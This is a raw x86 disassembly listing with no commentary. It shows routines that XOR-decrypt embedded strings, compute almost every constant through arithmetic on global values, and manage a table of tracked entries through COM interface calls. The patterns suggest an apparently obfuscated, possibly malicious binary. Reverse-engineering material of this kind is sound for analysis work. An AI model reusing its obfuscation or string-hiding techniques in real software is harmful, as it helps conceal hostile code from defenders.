		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:10013290h,	0
		jnz	short loc_41C93C
		push	10012BC0h
		call	dword ptr ds:1000E008h
		mov	dword ptr ds:10013290h,	1


loc_41C93C:				; CODE XREF: sub_41C914+11j
		movsx	esi, word ptr ds:100131F0h
		movsx	ebx, word ptr ds:100130CCh
		add	esi, ebx
		sub	esi, 7
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		cmp	eax, ds:100130B8h
		jz	short loc_41C9EF
		push	10012BC0h
		call	dword ptr ds:10012660h
		mov	eax, ds:10013220h
		dec	eax
		mov	[ebp+var_2], ax
		jmp	short loc_41C99F
; ---------------------------------------------------------------------------


loc_41C98A:				; CODE XREF: sub_41C914+95j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_41C99F:				; CODE XREF: sub_41C914+74j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_41C98A
		movsx	eax, word ptr ds:10013170h
		sub	eax, 2
		mov	edx, ds:100130F8h
		add	edx, ds:1001312Ch
		sub	edx, 0Fh
		mov	[edi+eax], dl
		mov	eax, ds:10013128h
		sub	eax, 8
		mov	edx, ds:1001325Ch
		movsx	ecx, word ptr ds:100131F0h
		add	edx, ecx
		sub	edx, 0Bh
		mov	[edi+eax], dl
		push	10012BC0h
		call	dword ptr ds:10011650h


loc_41C9EF:				; CODE XREF: sub_41C914+5Dj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C914	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9F7	proc near		; CODE XREF: sub_420477+Ep
					; sub_420477+1E1p

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10068	= dword	ptr -10068h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_10059	= byte ptr -10059h
var_10058	= dword	ptr -10058h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10043	= byte ptr -10043h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	10014194h
		call	sub_41FB74
		pop	ecx
		push	eax
		call	dword ptr ds:1000D044h
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word ptr ds:100130FCh
		add	eax, ds:10013154h
		sub	eax, 0Dh
		cmp	ebx, eax
		jz	short loc_41CA5B
		xor	eax, eax
		jmp	loc_41D087
; ---------------------------------------------------------------------------


loc_41CA5B:				; CODE XREF: sub_41C9F7+5Bj
		lea	eax, [ebp+var_24]
		push	eax
		push	10014A68h
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013208h
		add	eax, ds:1001314Ch
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_41D07C
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, ds:10013090h
		movsx	edx, word ptr ds:10013170h
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_41D073
		and	[ebp+var_44], 0
		movsx	eax, word ptr ds:10013264h
		sub	eax, 9
		mov	[ebp+var_1C], eax
		jmp	loc_41D067
; ---------------------------------------------------------------------------


loc_41CAC9:				; CODE XREF: sub_41C9F7+676j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, ds:1001325Ch
		add	eax, ds:10013188h
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_41D064
		and	[ebp+var_10048], 0
		lea	eax, [ebp+var_10048]
		push	eax
		push	10014A78h
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:100130A4h
		movsx	edx, word ptr ds:100131C0h
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_41D040
		cmp	[ebp+var_10048], 0
		jz	loc_41D040
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10048]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_41D040
		lea	eax, [ebp+var_10043]
		push	eax
		push	[ebp+var_20]
		call	sub_41C841
		mov	eax, ds:10013288h
		sub	eax, 5
		push	eax
		push	10010230h
		lea	eax, [ebp+var_10043]
		push	eax
		call	sub_4188C2
		add	esp, 14h
		mov	edi, ds:10013280h
		add	edi, 0FFFBh
		cmp	eax, edi
		jz	loc_41D040
		cmp	[ebp+arg_4], 0
		jz	short loc_41CBE2
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_41D087
; ---------------------------------------------------------------------------


loc_41CBE2:				; CODE XREF: sub_41C9F7+1CCj
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	10014A98h
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013184h
		movsx	edx, word ptr ds:10013240h
		add	eax, edx
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_41D040
		mov	[ebp+var_10059], 44h
		push	1001418Bh
		call	sub_41C914
		movsx	edi, word ptr ds:100130D8h
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4188C2
		add	esp, 10h
		movsx	esi, word ptr ds:100130CCh
		add	esi, 0FFF8h
		cmp	eax, esi
		jz	short loc_41CC5F
		mov	[ebp+var_10059], 43h


loc_41CC5F:				; CODE XREF: sub_41C9F7+25Fj
		push	10014183h
		call	sub_41C914
		movsx	edi, word ptr ds:100131FCh
		sub	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4188C2
		add	esp, 10h
		mov	esi, ds:100130DCh
		inc	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_41CC9B:				; CODE XREF: sub_41C9F7+2BAj
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_41CCB3
		inc	[ebp+var_10054]
		jmp	short loc_41CC9B
; ---------------------------------------------------------------------------


loc_41CCB3:				; CODE XREF: sub_41C9F7+2B2j
		mov	eax, [ebp+var_10054]
		movsx	edx, word ptr ds:10013150h
		movsx	ecx, word ptr ds:100131F0h
		add	edx, ecx
		sub	edx, 0Bh
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	dword ptr ds:1000D054h
		mov	[ebp+var_10080], eax
		push	1001417Ch
		call	sub_41C914
		movsx	edi, word ptr ds:1001322Ch
		movsx	esi, word ptr ds:10013260h
		add	edi, esi
		sub	edi, 8
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4188C2
		add	esp, 14h
		mov	esi, ds:10013214h
		sub	esi, 6
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_41CD34:				; CODE XREF: sub_41C9F7+353j
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_41CD4C
		inc	[ebp+var_10054]
		jmp	short loc_41CD34
; ---------------------------------------------------------------------------


loc_41CD4C:				; CODE XREF: sub_41C9F7+34Bj
		mov	eax, [ebp+var_10054]
		mov	edx, ds:10013238h
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	dword ptr ds:1000D054h
		pop	ecx
		mov	[ebp+var_10060], eax
		movsx	eax, word ptr ds:10013118h
		sub	eax, 3
		cmp	[ebp+var_10080], eax
		ja	short loc_41CDF9
		movsx	eax, word ptr ds:1001322Ch
		add	eax, ds:1001326Ch
		sub	eax, 10h
		mov	[ebp+var_1004C], eax
		jmp	short loc_41CDE5
; ---------------------------------------------------------------------------


loc_41CDA4:				; CODE XREF: sub_41C9F7+400j
		mov	edi, [ebp+var_1004C]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000E130h[esi], 0
		jz	short loc_41CDDF
		mov	edx, [ebp+var_10060]
		cmp	ds:1000D060h[esi], edx
		jnz	short loc_41CDDF
		mov	dl, ds:1000F200h[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_41CDDF
		and	dword ptr ds:1000E130h[edi*4], 0


loc_41CDDF:				; CODE XREF: sub_41C9F7+3C0j
					; sub_41C9F7+3CFj ...
		inc	[ebp+var_1004C]


loc_41CDE5:				; CODE XREF: sub_41C9F7+3ABj
		movsx	eax, word ptr ds:10013178h
		add	eax, 3E4h
		cmp	[ebp+var_1004C], eax
		jb	short loc_41CDA4


loc_41CDF9:				; CODE XREF: sub_41C9F7+393j
		call	dword ptr ds:10012770h
		mov	[ebp+var_10064], eax
		mov	eax, ds:10013280h
		sub	eax, 4
		mov	[ebp+var_10050], eax
		jmp	short loc_41CE66
; ---------------------------------------------------------------------------


loc_41CE15:				; CODE XREF: sub_41C9F7+47Fj
		mov	edi, [ebp+var_10050]
		shl	edi, 2
		cmp	dword ptr ds:1000E130h[edi], 0
		jz	short loc_41CE60
		mov	edi, ds:10011660h[edi]
		movsx	esi, word ptr ds:10013104h
		add	esi, 0EA58h
		mov	edx, ds:10013134h
		sub	edx, 3
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10064]
		jnb	short loc_41CE60
		mov	edi, [ebp+var_10050]
		and	dword ptr ds:1000E130h[edi*4], 0


loc_41CE60:				; CODE XREF: sub_41C9F7+42Fj
					; sub_41C9F7+459j
		inc	[ebp+var_10050]


loc_41CE66:				; CODE XREF: sub_41C9F7+41Cj
		mov	eax, ds:10013200h
		add	eax, 3E3h
		cmp	[ebp+var_10050], eax
		jb	short loc_41CE15
		movsx	eax, word ptr ds:10013264h
		movsx	edx, word ptr ds:10013180h
		add	eax, edx
		sub	eax, 0Dh
		mov	[ebp+var_10058], eax
		jmp	short loc_41CEA9
; ---------------------------------------------------------------------------


loc_41CE93:				; CODE XREF: sub_41C9F7+4C2j
		mov	edi, [ebp+var_10058]
		cmp	dword ptr ds:1000E130h[edi*4], 0
		jz	short loc_41CEBB
		inc	[ebp+var_10058]


loc_41CEA9:				; CODE XREF: sub_41C9F7+49Aj
		mov	eax, ds:1001320Ch
		add	eax, 3E2h
		cmp	[ebp+var_10058], eax
		jb	short loc_41CE93


loc_41CEBB:				; CODE XREF: sub_41C9F7+4AAj
		mov	edi, [ebp+var_10058]
		mov	esi, [ebp+var_10060]
		mov	ds:1000D060h[edi*4], esi
		mov	eax, edi
		mov	dl, [ebp+var_10059]
		mov	ds:1000F200h[eax], dl
		movsx	eax, word ptr ds:10013100h
		sub	eax, 3
		cmp	[ebp+var_10080], eax
		jbe	loc_41CF90
		movsx	esi, word ptr ds:100130B0h
		add	esi, 0FFF8h
		mov	ds:1000FA50h[edi*2], si
		mov	eax, ds:10013204h
		dec	eax
		mov	[ebp+var_10088], eax
		jmp	short loc_41CF73
; ---------------------------------------------------------------------------


loc_41CF16:				; CODE XREF: sub_41C9F7+595j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000E130h[esi], 0
		jz	short loc_41CF6D
		movzx	edx, word ptr ds:1000FA50h[edi*2]
		mov	ecx, ds:10013284h
		add	ecx, 0FFF6h
		cmp	edx, ecx
		jz	short loc_41CF6D
		mov	edx, [ebp+var_10060]
		cmp	ds:1000D060h[esi], edx
		jnz	short loc_41CF6D
		mov	dl, ds:1000F200h[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_41CF6D
		lea	edi, ds:1000FA50h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_41CFA7
; ---------------------------------------------------------------------------


loc_41CF6D:				; CODE XREF: sub_41C9F7+532j
					; sub_41C9F7+54Aj ...
		inc	[ebp+var_10088]


loc_41CF73:				; CODE XREF: sub_41C9F7+51Dj
		mov	eax, ds:100131F4h
		add	eax, 3DEh
		movsx	edx, word ptr ds:10013230h
		add	eax, edx
		cmp	[ebp+var_10088], eax
		jb	short loc_41CF16
		jmp	short loc_41CFA7
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41C9F7+4F6j
		mov	edi, [ebp+var_10058]
		mov	esi, ds:10013284h
		sub	esi, 8
		mov	ds:1000FA50h[edi*2], si


loc_41CFA7:				; CODE XREF: sub_41C9F7+574j
					; sub_41C9F7+597j
		call	dword ptr ds:10012770h
		mov	edi, [ebp+var_10058]
		mov	ds:10011660h[edi*4], eax
		lea	esi, ds:10013354h
		mov	ds:1000E130h[edi*4], esi
		mov	edi, [ebp+var_10058]
		lea	edi, ds:1000E130h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10058]
		lea	edi, ds:1000E130h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10058]
		lea	eax, [ebp+var_10078]
		push	eax
		call	dword ptr ds:10012BB0h
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41D040:				; CODE XREF: sub_41C9F7+158j
					; sub_41C9F7+165j ...
		cmp	[ebp+var_10048], 0
		jz	short loc_41D055
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41D055:				; CODE XREF: sub_41C9F7+650j
		cmp	[ebp+var_4], 0
		jz	short loc_41D064
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41D064:				; CODE XREF: sub_41C9F7+11Bj
					; sub_41C9F7+662j
		inc	[ebp+var_1C]


loc_41D067:				; CODE XREF: sub_41C9F7+CDj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_41CAC9


loc_41D073:				; CODE XREF: sub_41C9F7+B6j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41D07C:				; CODE XREF: sub_41C9F7+8Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_41D087:				; CODE XREF: sub_41C9F7+5Fj
					; sub_41C9F7+1E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9F7	endp

; ---------------------------------------------------------------------------
		dd 4001B8h, 8C280h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D094	proc near		; CODE XREF: sub_421353+346p
					; sub_421353+440p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, ds:100131CCh
		sub	edi, 6
		cmp	edx, edi
		jnz	short loc_41D0B8
		mov	eax, [ebp+arg_0]
		jmp	short loc_41D0D2
; ---------------------------------------------------------------------------


loc_41D0B8:				; CODE XREF: sub_41D094+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_41D0D2:				; CODE XREF: sub_41D094+22j
		pop	edi
		pop	esi
		leave
		retn
sub_41D094	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0D6	proc near		; CODE XREF: sub_42091E+259p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		mov	eax, ds:10013154h
		movsx	edx, word ptr ds:10013098h
		add	eax, edx
		sub	eax, 2
		cmp	ecx, eax
		jge	short loc_41D12C
		mov	eax, ds:100130C4h
		movsx	edx, word ptr ds:100131F0h
		add	eax, edx
		sub	eax, 5
		imul	ecx, eax
		mov	eax, ds:1001309Ch
		sub	eax, 4
		mov	edx, esi
		add	edx, eax
		movsx	eax, word ptr ds:1001327Ch
		add	eax, ds:1001315Ch
		sub	eax, 9
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_41D269
; ---------------------------------------------------------------------------


loc_41D12C:				; CODE XREF: sub_41D0D6+1Aj
		dec	ecx
		mov	eax, ds:1001309Ch
		add	eax, 0Eh
		add	eax, ds:100130ACh
		cmp	ecx, eax
		jge	short loc_41D16C
		movsx	eax, word ptr ds:100131E0h
		add	eax, ds:100130ACh
		sub	eax, 2
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, ds:100131BCh
		inc	edx
		add	edx, ds:100131A0h
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_41D269
; ---------------------------------------------------------------------------


loc_41D16C:				; CODE XREF: sub_41D0D6+67j
		dec	ecx
		movsx	eax, word ptr ds:100130E0h
		mov	edx, ds:1001314Ch
		lea	eax, [eax+edx+1Bh]
		cmp	ecx, eax
		jge	short loc_41D1A4
		movsx	eax, word ptr ds:100130A4h
		add	eax, ds:10013234h
		sub	eax, 7
		imul	ecx, eax
		mov	eax, ds:10013158h
		add	eax, 39h
		sub	ecx, eax
		jmp	loc_41D269
; ---------------------------------------------------------------------------


loc_41D1A4:				; CODE XREF: sub_41D0D6+AAj
		dec	ecx
		mov	eax, ds:10013154h
		add	eax, 1Dh
		cmp	ecx, eax
		jge	short loc_41D1D1
		movsx	eax, word ptr ds:1001316Ch
		inc	eax
		imul	ecx, eax
		mov	eax, ds:100130C4h
		add	eax, 39h
		add	eax, ds:100130D4h
		sub	ecx, eax
		jmp	loc_41D269
; ---------------------------------------------------------------------------


loc_41D1D1:				; CODE XREF: sub_41D0D6+D9j
		dec	ecx
		movsx	eax, word ptr ds:100131E0h
		mov	edx, ds:100130B4h
		lea	eax, [eax+edx+21h]
		cmp	ecx, eax
		jge	short loc_41D20F
		movsx	eax, word ptr ds:10013264h
		add	eax, ds:10013114h
		sub	eax, 0Fh
		imul	ecx, eax
		movsx	eax, word ptr ds:10013174h
		mov	edx, ds:10013138h
		lea	eax, [eax+edx+4Dh]
		sub	ecx, eax
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D20F:				; CODE XREF: sub_41D0D6+10Fj
		dec	ecx
		mov	eax, ds:100131ECh
		add	eax, 2Eh
		cmp	ecx, eax
		jge	short loc_41D235
		mov	eax, ds:1001310Ch
		sub	eax, 4
		imul	ecx, eax
		movsx	eax, word ptr ds:100130B0h
		add	eax, 63h
		sub	ecx, eax
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D235:				; CODE XREF: sub_41D0D6+144j
		dec	ecx
		mov	eax, ds:10013198h
		add	eax, 37h
		cmp	ecx, eax
		jge	short loc_41D259
		mov	eax, ds:1001311Ch
		sub	eax, 3
		imul	ecx, eax
		mov	eax, ds:1001317Ch
		add	eax, 6Bh
		sub	ecx, eax
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D259:				; CODE XREF: sub_41D0D6+16Aj
		mov	eax, ds:1001318Ch
		add	eax, 34h
		add	eax, ds:10013120h
		sub	ecx, eax


loc_41D269:				; CODE XREF: sub_41D0D6+51j
					; sub_41D0D6+91j ...
		mov	eax, ecx
		pop	esi
		retn
sub_41D0D6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		movsx	eax, word ptr ds:100131C0h
		sub	eax, 4
		cmp	ds:1000F608h, eax
		jbe	short loc_41D28D
		push	1000F608h
		call	dword ptr ds:1000D010h


loc_41D28D:				; CODE XREF: .data:0041D280j
		mov	eax, ds:1000F608h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		movsx	eax, word ptr ds:1001322Ch
		add	eax, 3
		cmp	ds:1000F620h, eax
		jnb	short loc_41D2C6
		mov	eax, ds:10013258h
		sub	eax, 2
		mov	ds:1000F620h, eax


loc_41D2C6:				; CODE XREF: .data:0041D2B7j
		mov	eax, ds:10013280h
		mov	edi, eax
		add	edi, ds:10013210h
		sub	edi, 5
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: .data:0041D2F0j
		lea	ebx, ds:1000E130h[edi*4]
		cmp	esi, ebx
		jz	short loc_41D2F2
		inc	edi


loc_41D2E4:				; CODE XREF: .data:0041D2D6j
		mov	eax, ds:100130F4h
		add	eax, 3E1h
		cmp	edi, eax
		jb	short loc_41D2D8


loc_41D2F2:				; CODE XREF: .data:0041D2E1j
		mov	eax, ds:10013094h
		add	eax, 3DCh
		movsx	edx, word ptr ds:10013230h
		add	eax, edx
		cmp	edi, eax
		jnz	short loc_41D310
		xor	eax, eax
		jmp	loc_41D45E
; ---------------------------------------------------------------------------


loc_41D310:				; CODE XREF: .data:0041D307j
		movzx	esi, word ptr ds:1000FA50h[edi*2]
		mov	ebx, ds:100130ACh
		movsx	edx, word ptr ds:1001327Ch
		add	ebx, edx
		sub	ebx, 4
		cmp	esi, ebx
		jnz	short loc_41D355
		movzx	eax, byte ptr ds:1000F200h[edi]
		push	eax
		push	dword ptr ds:1000D060h[edi*4]
		call	sub_42284B
		add	esp, 8
		and	dword ptr ds:1000E130h[edi*4], 0
		xor	eax, eax
		jmp	loc_41D45E
; ---------------------------------------------------------------------------


loc_41D355:				; CODE XREF: .data:0041D32Cj
		movzx	esi, word ptr ds:1000FA50h[edi*2]
		mov	ebx, ds:1001315Ch
		add	ebx, 0FFF6h
		cmp	esi, ebx
		jnz	loc_41D43C
		mov	eax, ds:10013110h
		movsx	edx, word ptr ds:100130D8h
		add	eax, edx
		sub	eax, 7
		mov	[ebp-4], eax
		jmp	loc_41D425
; ---------------------------------------------------------------------------


loc_41D38A:				; CODE XREF: .data:0041D432j
		mov	esi, [ebp-4]
		mov	ebx, esi
		shl	ebx, 2
		cmp	dword ptr ds:1000E130h[ebx], 0
		jz	loc_41D422
		movzx	edx, word ptr ds:1000FA50h[esi*2]
		movsx	ecx, word ptr ds:100130C0h
		add	ecx, 0FFFDh
		cmp	edx, ecx
		jz	short loc_41D422
		mov	edx, ds:1000D060h[edi*4]
		cmp	ds:1000D060h[ebx], edx
		jnz	short loc_41D422
		mov	bl, ds:1000F200h[esi]
		cmp	bl, ds:1000F200h[edi]
		jnz	short loc_41D422
		movzx	esi, word ptr ds:1000FA50h[esi*2]
		mov	ebx, ds:1001309Ch
		sub	ebx, 4
		cmp	esi, ebx
		jnz	short loc_41D413
		mov	esi, [ebp-4]
		movzx	ebx, byte ptr ds:1000F200h[esi]
		push	ebx
		push	dword ptr ds:1000D060h[esi*4]
		call	sub_42284B
		add	esp, 8
		and	dword ptr ds:1000E130h[edi*4], 0
		jmp	short loc_41D438
; ---------------------------------------------------------------------------


loc_41D413:				; CODE XREF: .data:0041D3ECj
		mov	esi, [ebp-4]
		lea	esi, ds:1000FA50h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_41D438
; ---------------------------------------------------------------------------


loc_41D422:				; CODE XREF: .data:0041D39Aj
					; .data:0041D3B7j ...
		inc	dword ptr [ebp-4]


loc_41D425:				; CODE XREF: .data:0041D385j
		mov	eax, ds:1001328Ch
		add	eax, 3E2h
		cmp	[ebp-4], eax
		jb	loc_41D38A


loc_41D438:				; CODE XREF: .data:0041D411j
					; .data:0041D420j
		xor	eax, eax
		jmp	short loc_41D45E
; ---------------------------------------------------------------------------


loc_41D43C:				; CODE XREF: .data:0041D36Bj
		movzx	esi, word ptr ds:1000FA50h[edi*2]
		mov	ebx, ds:10013274h
		add	ebx, ds:1001318Ch
		cmp	esi, ebx
		jle	short loc_41D45C
		dec	word ptr ds:1000FA50h[edi*2]


loc_41D45C:				; CODE XREF: .data:0041D452j
		xor	eax, eax


loc_41D45E:				; CODE XREF: .data:0041D30Bj
					; .data:0041D350j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D465	proc near		; CODE XREF: sub_41B930+B8p
					; sub_41BA2F+1CDp ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:10013288h
		movsx	esi, word ptr ds:10013160h
		add	edi, esi
		imul	edi, 3C0h
		sub	edi, 12C0h
		movsx	esi, word ptr ds:100131C0h
		lea	edi, [edi+esi+0EA5Ch]
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_4232FE
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10013200h
		add	edx, ds:100130A0h
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_41D4EF
		push	10014171h
		call	sub_41C914
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 8
		jmp	loc_41D5FD
; ---------------------------------------------------------------------------


loc_41D4EF:				; CODE XREF: sub_41D465+65j
		call	dword ptr ds:10010228h
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10013164h
		add	edx, ds:100130C4h
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_41D56C
		mov	eax, ds:100130F0h
		add	eax, 6
		add	eax, ds:1001318Ch
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_420EFF
		add	esp, 0Ch
		push	10014141h
		call	sub_41C914
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 10h
		jmp	loc_41D5FD
; ---------------------------------------------------------------------------


loc_41D56C:				; CODE XREF: sub_41D465+ADj
		mov	eax, ds:10013194h
		sub	eax, 9
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword ptr ds:10013370h
		call	sub_420EFF
		add	esp, 0Ch
		push	100140DEh
		call	sub_41C914
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		movsx	ebx, word ptr ds:100131DCh
		movsx	edx, word ptr ds:10013170h
		add	ebx, edx
		dec	ebx
		push	ebx
